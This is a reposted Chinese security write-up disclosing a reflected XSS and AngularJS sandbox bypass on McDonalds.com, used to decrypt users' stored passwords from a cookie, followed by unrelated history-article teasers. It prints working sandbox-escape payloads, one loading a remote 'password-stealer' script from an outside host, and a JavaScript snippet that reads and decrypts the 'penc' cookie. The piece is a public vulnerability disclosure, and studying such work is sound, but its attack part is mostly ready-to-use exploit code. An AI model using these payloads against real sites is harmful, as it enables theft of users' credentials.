今日看点

重磅:利用麦当劳网站的漏洞获取用户密码

发表于话题:大学生利用漏洞免费吃肯德基获刑
发布时间:2021-05-12

导读 本文讲述了利用不安全的加密存储(Insecure_Cryptographic_Storage)漏洞和服务端反射型XSS漏洞,实现对麦当劳网站(McDonalds.com)注册用户的密码窃取,进一步测试,还可能获取到网站注册用户的更多信息。

POC-利用反射型XSS漏洞绕过AngularJS框架沙箱

麦当劳网站McDonalds.com设置有一个搜索页面,该页面存在XSS反射型漏洞,可以返回搜索参数值,假设搜索参数q为***********-test-reflected-test-***********,对应链接:
https://www.mcdonalds.com/us/en-us/search-results.html?q=***********-test-reflected-test-***********

则执行效果如下:

麦当劳网站采用AngularJS框架,所以可以使用特殊字符在搜索区域进行返回值尝试。通过更改搜索参数q为{{$id}}之后,发现返回值对应AngularJS范围内的对应ID数字9:

Link used: https://www.mcdonalds.com/us/en-us/search-results.html?q={{$id}}

AngularJS是一个流行的JavaScript框架,通过这个框架可以把表达式放在花括号中嵌入到页面中。例如,表达式1+2={{1+2}}将会得到1+2=3。其中括号中的表达式被执行了,这就意味着,如果服务端允许用户输入的参数中带有花括号,我们就可以用Angular表达式来进行xss攻击。

由于AngularJS工作在沙箱模式,所以使用参数{{alert(1)}}无任何返回信息,但这并不代表AngularJS沙箱没有漏洞。在 AngularJS1.6版本中,由于沙箱机制不能很好地起到安全防护目的,已经被从源码中移除。而PortSwigger还对AngularJS的各版本沙箱进行了绕过测试,并给出了相应绕过执行命令。

在这里,我们来看看McDonalds.com使用的AngularJS版本,通过在浏览器控制端输入angular.version命令:

可以发现AngularJS为1.5.3版本,参照PortSwigger的测试,我们选用

{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}

作为搜索参数,很惊喜,返回值如下:

这就意味着,我们可以利用绕过命令,对网站加载外部JS脚本文件,如构造如下命令:

{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=$.getScript(`https://finnwea.com/snippets/external-alert.js`)');}}`

在内容安全策略(Content-Security-Policy)的提示下,第三方脚本文件被成功加载。

窃取密码

除此之外,我在麦当劳网站的注册页面发现了复选框“Remember my password”,通常来说,这只有在用户登录页面才存在,有点奇怪:

在该页面的源代码页面,包含了各种passowrd字段内容,甚至存在一个有趣的密码解密函数:

最危险的是,利用该解密函数代码竟然可以实现对客户端或双向加密存储的密码破解。尝试对发现的被存储Cookie值penc进行解密,竟然成功了!

而且,经分析发现,Cookie值penc的存储期限是大大的一年!LOL!

另外,以下的源码分析显示,麦当劳网站使用了Javascript的CryptoJS加密库进行信息加密,加密方式为3DES,其中加密参数key和iv都为通用,这意味着只需要获取到cookie值就能对密码解密:

由于AngularJS沙箱绕过方法只对charAt的join方法(charAt=[].join;$eval(‘x=alert(1)’))有效,所以即使我曾尝试在搜索区域构造其它恶意命令对cookie信息进行解密,但最终总是因为getCookie失败而无效。只有当charAt(0) 不为空时,getCookie才有返回值:

最后,我写了一段调用麦当劳网站首页框架进行cookie窃取的脚本,为了避免脚本因AngularJS沙箱被绕过而被反复执行,所以,我用window.xssIsExecuted对其进行了显示控制,如下:

if (!window.xssIsExecuted) { window.xssIsExecuted = true; var iframe = $('网址'>'); $('body').append(iframe); iframe.on('load', function() { var penc = iframe[0].contentWindow.getCookie('penc'); alert(iframe[0].contentWindow.decrypt(penc)); }); }

最终,配合以下AngularJS沙箱绕过命令,可以成功从cookie信息中对密码解密!

{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=$.getScript(`https://finnwea.com/snippets/mcdonalds-password-stealer.js`)');}}

遗憾的是,我曾多次与麦当劳官方就此问题进行联系,但是他们竟然都不回应!@#%¥&! ,所以我选择把此漏洞公开。

原文来自:http://www.tiejiang.org/16067.html

本文地址:http://www.linuxprobe.com/mcdonald-vulnerability-password.html

标签组:[麦当劳] [漏洞] [cookie] [沙箱] [angular

本文来源:https://www.kandian5.com/articles/12532.html

相关阅读

曹无伤左司马职务解析:汉朝中央官制中的重要角色

在中国古代历史的长河中,汉朝以其完备的官制和繁荣的文化著称于世。其中,左司马这一职务在汉朝中央官制中占据着重要的地位。而曹无伤,作为秦汉之际刘邦麾下的一位将领,就曾担任过左司马这一职务。 一、汉朝中...

2025-04-03

汉明帝刘庄并未被杀:一位英明君主的传奇一生

在中国历史上,汉明帝刘庄是一位备受赞誉的君主。然而,关于“汉明帝刘庄为什么被杀”的疑问,实际上是一个基于误解的问题。根据真实的历史资料,汉明帝刘庄并未被杀,他是一位在位期间政治清明、经济繁荣、文化昌盛...

2025-04-03

三国第一毒士之争:李儒与贾诩的较量

在三国时期,谋士辈出,他们以其卓越的智谋和深邃的算计,在历史的舞台上留下了浓墨重彩的一笔。其中,李儒与贾诩两位谋士,因其毒辣的手段和深沉的心机,被后人并称为“三国第一毒士”。然而,关于这一称号究竟应归...

2025-04-03

孙恩与孙权:血缘关系的探寻

在中国历史上,孙恩与孙权都是极具影响力的人物。他们分别活跃在不同的历史时期,各自在各自的时代留下了深刻的印记。然而,近年来,关于孙恩是否是孙权后代的问题,引起了人们的广泛关注和讨论。 一、孙恩与孙权...

2025-04-03

澶渊惊雷:寇准力挽狂澜的孤勇与智慧

公元1004年的深秋,北风裹挟着辽军铁蹄的震颤,黄河岸边的澶州城笼罩在战争的阴云之下。北宋朝廷内,主和派大臣们如惊弓之鸟,或主张南迁金陵,或建议西逃蜀地。在这历史抉择的十字路口,一位目光如炬的政治家挺...

2025-04-03

杜甫的代表作:千年传颂的文学瑰宝

在中国古代文学的璀璨星河中,杜甫无疑是最耀眼的星辰之一。作为唐代伟大的现实主义诗人,杜甫以其深沉的情感、卓越的艺术成就和广泛的社会关怀,被后世尊称为“诗圣”。他的代表作不仅在当时广为流传,历经千年仍被...

2025-04-03

寒门诗魂:鲍照诗歌的刚健风骨与形式突围

在南朝绮靡文风中,鲍照如同一把淬火而出的利剑,以寒门之躯劈开时代的脂粉气。他的诗歌既是对门阀制度的血性呐喊,更是中国古典诗歌美学的一次惊险飞跃。这位被杜甫赞为"俊逸鲍参军"的诗人,用充满棱角的文字构建...

2025-04-03

盛彦师之死:李渊的权谋棋局与功臣末路

在唐朝开国功臣的星空中,盛彦师的名字曾如流星般划过,留下短暂而耀眼的光芒。他斩李密、平王世充、拒降徐圆朗,以骁勇善战著称,最终却落得被唐高祖李渊赐死的结局。这场看似悖理的历史悲剧,实则暗含李渊巩固皇权...

2025-04-03

唐朝统一战争:十年烽火铸就大一统伟业

唐朝,作为中国历史上最为辉煌灿烂的王朝之一,其统一之路却并非一帆风顺。在隋末天下大乱、群雄并起的背景下,唐高祖李渊于公元618年建立唐朝,但此时的新王朝仅占据关中、河东一隅,天下仍处于四分五裂之中。为...

2025-04-03

刘唐:梁山泊中的赤发鬼杰

在《水浒传》这部描绘北宋末年农民起义的鸿篇巨制中,刘唐以其独特的形象和鲜明的性格,成为了梁山泊一百零八将中不可忽视的一员。他绰号“赤发鬼”,紫黑阔脸,鬓边一搭朱砂记,上生一片黑黄毛,形象威猛而独特。那...

2025-04-03